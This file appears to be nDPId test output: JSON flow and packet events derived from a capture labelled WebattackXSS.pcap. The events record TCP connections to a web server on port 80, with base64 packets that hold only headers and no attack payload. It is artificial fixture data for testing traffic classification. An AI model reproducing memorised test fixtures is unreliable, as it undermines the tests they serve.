+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3010,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1499347329594,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56036,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":212,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3010,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347329,"pkt_ts_usec":594634,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8olxAAD4GI3SsEAABwKgKMtrkAFD4u+sGAAAAAKACchBVeAAAAgQFtAQCCAoBOklaAAAAAAEDAwc="} +00444{"flow_id":212,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3011,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347329,"pkt_ts_usec":594756,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2uSvjPx7+LvrB6AScSCLmgAAAgQFtAQCCAoD5BrQATpJWgEDAwc="} +00432{"flow_id":212,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3012,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347329,"pkt_ts_usec":595507,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ol1AAD4GI3usEAABwKgKMtrkAFD4u+sHr4z8fIAQAOUqogAAAQEICgE6SVoD5BrQ"} +00433{"flow_id":209,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3016,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347329,"pkt_ts_usec":705373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uCxAAD4GDaysEAABwKgKMtquAFARp\/xBUjrdkoARAOWBwwAAAQEICgE6SXUD5BXg"} +00433{"flow_id":209,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3017,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347329,"pkt_ts_usec":705638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0x3lAAEAG\/F7AqAoyrBAAAQBQ2q5SOt2SEaf8QoARAON8uQAAAQEICgPkGusBOkl1"} +00433{"flow_id":209,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3018,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347329,"pkt_ts_usec":706355,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uC1AAD4GDausEAABwKgKMtquAFARp\/xCUjrdk4AQAOV8tgAAAQEICgE6SXYD5Brr"} +00433{"flow_id":210,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3025,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347331,"pkt_ts_usec":706952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C\/hAAD4GueCsEAABwKgKMtq8AFA4wE5qcZcm84ARAOWcjAAAAQEICgE6S2oD5BcV"} +00432{"flow_id":210,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3026,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347331,"pkt_ts_usec":707139,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OhNAAEAGicXAqAoyrBAAAQBQ2rxxlybzOMBOa4ARAOOWwgAAAQEICgPkHOABOktq"} +00433{"flow_id":210,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3027,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347331,"pkt_ts_usec":707907,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C\/lAAD4Gud+sEAABwKgKMtq8AFA4wE5rcZcm9IAQAOWWwAAAAQEICgE6S2oD5Bzg"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3031,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1499347332137,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56062,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":213,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3031,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347332,"pkt_ts_usec":137392,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8hpdAAD4GPzmsEAABwKgKMtr+AFAKS81CAAAAAKACchBfGAAAAgQFtAQCCAoBOkvVAAAAAAEDAwc="} +00444{"flow_id":213,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3032,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347332,"pkt_ts_usec":137517,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2v58hG58CkvNQ6AScSBTxwAAAgQFtAQCCAoD5B1LATpL1QEDAwc="} +00432{"flow_id":213,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3033,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347332,"pkt_ts_usec":138274,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hphAAD4GP0CsEAABwKgKMtr+AFAKS81DfIRufYAQAOXyzQAAAQEICgE6S9YD5B1L"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3040,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1499347333419,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56076,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":214,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3040,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347333,"pkt_ts_usec":419946,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bENAAD4GWY2sEAABwKgKMtsMAFCNWiFVAAAAAKACchCGpwAAAgQFtAQCCAoBOk0WAAAAAAEDAwc="} +00444{"flow_id":214,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3041,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347333,"pkt_ts_usec":420039,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2wzHhupcjVohVqAScSCzMgAAAgQFtAQCCAoD5B6MATpNFgEDAwc="} +00432{"flow_id":214,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3043,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347333,"pkt_ts_usec":420829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bERAAD4GWZSsEAABwKgKMtsMAFCNWiFWx4bqXYAQAOVSOgAAAQEICgE6TRYD5B6M"} +00432{"flow_id":211,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3046,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347333,"pkt_ts_usec":708299,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K4ZAAD4GmlKsEAABwKgKMtrWAFBZCmOTBYBWioARAOWfFAAAAQEICgE6TV4D5BmM"} +00432{"flow_id":211,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3047,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347333,"pkt_ts_usec":708547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SF5AAEAGe3rAqAoyrBAAAQBQ2tYFgFaKWQpjlIARAOOZzQAAAQEICgPkHtQBOk1e"} +00432{"flow_id":211,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3048,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347333,"pkt_ts_usec":709262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K4dAAD4GmlGsEAABwKgKMtrWAFBZCmOUBYBWi4AQAOWZywAAAQEICgE6TV4D5B7U"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":6,"flow_first_seen":1499347259759,"flow_last_seen":1499347265691,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55294,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":6,"flow_first_seen":1499347259759,"flow_last_seen":1499347265691,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55294,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":6,"flow_first_seen":1499347262289,"flow_last_seen":1499347267691,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55320,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":6,"flow_first_seen":1499347262289,"flow_last_seen":1499347267691,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55320,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":6,"flow_first_seen":1499347263542,"flow_last_seen":1499347268692,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55334,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":6,"flow_first_seen":1499347263542,"flow_last_seen":1499347268692,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55334,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":6,"flow_first_seen":1499347264804,"flow_last_seen":1499347270693,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55348,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":6,"flow_first_seen":1499347264804,"flow_last_seen":1499347270693,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55348,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":6,"flow_first_seen":1499347266097,"flow_last_seen":1499347271692,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55362,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":6,"flow_first_seen":1499347266097,"flow_last_seen":1499347271692,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55362,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":6,"flow_first_seen":1499347267376,"flow_last_seen":1499347272693,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55376,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":6,"flow_first_seen":1499347267376,"flow_last_seen":1499347272693,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55376,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":6,"flow_first_seen":1499347268659,"flow_last_seen":1499347273693,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55390,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3049,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":6,"flow_first_seen":1499347268659,"flow_last_seen":1499347273693,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55390,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3052,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1499347334667,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56090,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":215,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3052,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347334,"pkt_ts_usec":667316,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ruhAAD4GFuisEAABwKgKMtsaAFCxtOCmAAAAAKACchChtQAAAgQFtAQCCAoBOk5OAAAAAAEDAwc="} +00445{"flow_id":215,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3053,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347334,"pkt_ts_usec":667448,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2xqx52s8sbTgp6AScSBhyAAAAgQFtAQCCAoD5B\/EATpOTgEDAwc="} +00433{"flow_id":215,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3054,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347334,"pkt_ts_usec":668167,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rulAAD4GFu+sEAABwKgKMtsaAFCxtOCnsedrPYAQAOUA0AAAAQEICgE6Tk4D5B\/E"} +00432{"flow_id":212,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3058,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347334,"pkt_ts_usec":708438,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ol5AAD4GI3qsEAABwKgKMtrkAFD4u+sHr4z8fIARAOUlowAAAQEICgE6TlgD5BrQ"} +00432{"flow_id":212,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3059,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347334,"pkt_ts_usec":709142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA047JAAEAG4CXAqAoyrBAAAQBQ2uSvjPx8+LvrCIARAOMgpgAAAQEICgPkH84BOk5Y"} +00433{"flow_id":212,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3060,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347334,"pkt_ts_usec":709873,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ol9AAD4GI3msEAABwKgKMtrkAFD4u+sIr4z8fYAQAOUgowAAAQEICgE6TlkD5B\/O"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1499347337226,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56116,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":216,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3070,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347337,"pkt_ts_usec":226449,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TYVAAD4GeEusEAABwKgKMts0AFCRRx1LAAAAAKACchCC5AAAAgQFtAQCCAoBOlDOAAAAAAEDAwc="} +00444{"flow_id":216,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3071,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347337,"pkt_ts_usec":226578,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2zQKH2urkUcdTKAScSDn0AAAAgQFtAQCCAoD5CJEATpQzgEDAwc="} +00432{"flow_id":216,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3072,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347337,"pkt_ts_usec":227312,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TYZAAD4GeFKsEAABwKgKMts0AFCRRx1MCh9rrIAQAOWG2AAAAQEICgE6UM4D5CJE"} +00432{"flow_id":213,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3076,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347337,"pkt_ts_usec":709343,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hplAAD4GPz+sEAABwKgKMtr+AFAKS81DfIRufYARAOXtXAAAAQEICgE6UUYD5B1L"} +00432{"flow_id":213,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3077,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347337,"pkt_ts_usec":709556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TMFAAEAGdxfAqAoyrBAAAQBQ2v58hG59CkvNRIARAOPn7AAAAQEICgPkIrwBOlFG"} +00432{"flow_id":213,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3078,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347337,"pkt_ts_usec":710296,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hppAAD4GPz6sEAABwKgKMtr+AFAKS81EfIRufoAQAOXn6QAAAQEICgE6UUcD5CK8"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3082,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1499347338485,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56130,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":217,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3082,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347338,"pkt_ts_usec":485793,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA871JAAD4G1n2sEAABwKgKMttCAFArWL1bAAAAAKACchBHegAAAgQFtAQCCAoBOlIJAAAAAAEDAwc="} +00444{"flow_id":217,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3083,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347338,"pkt_ts_usec":485947,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ20LSM68cK1i9XKAScSCfpgAAAgQFtAQCCAoD5CN+ATpSCQEDAwc="} 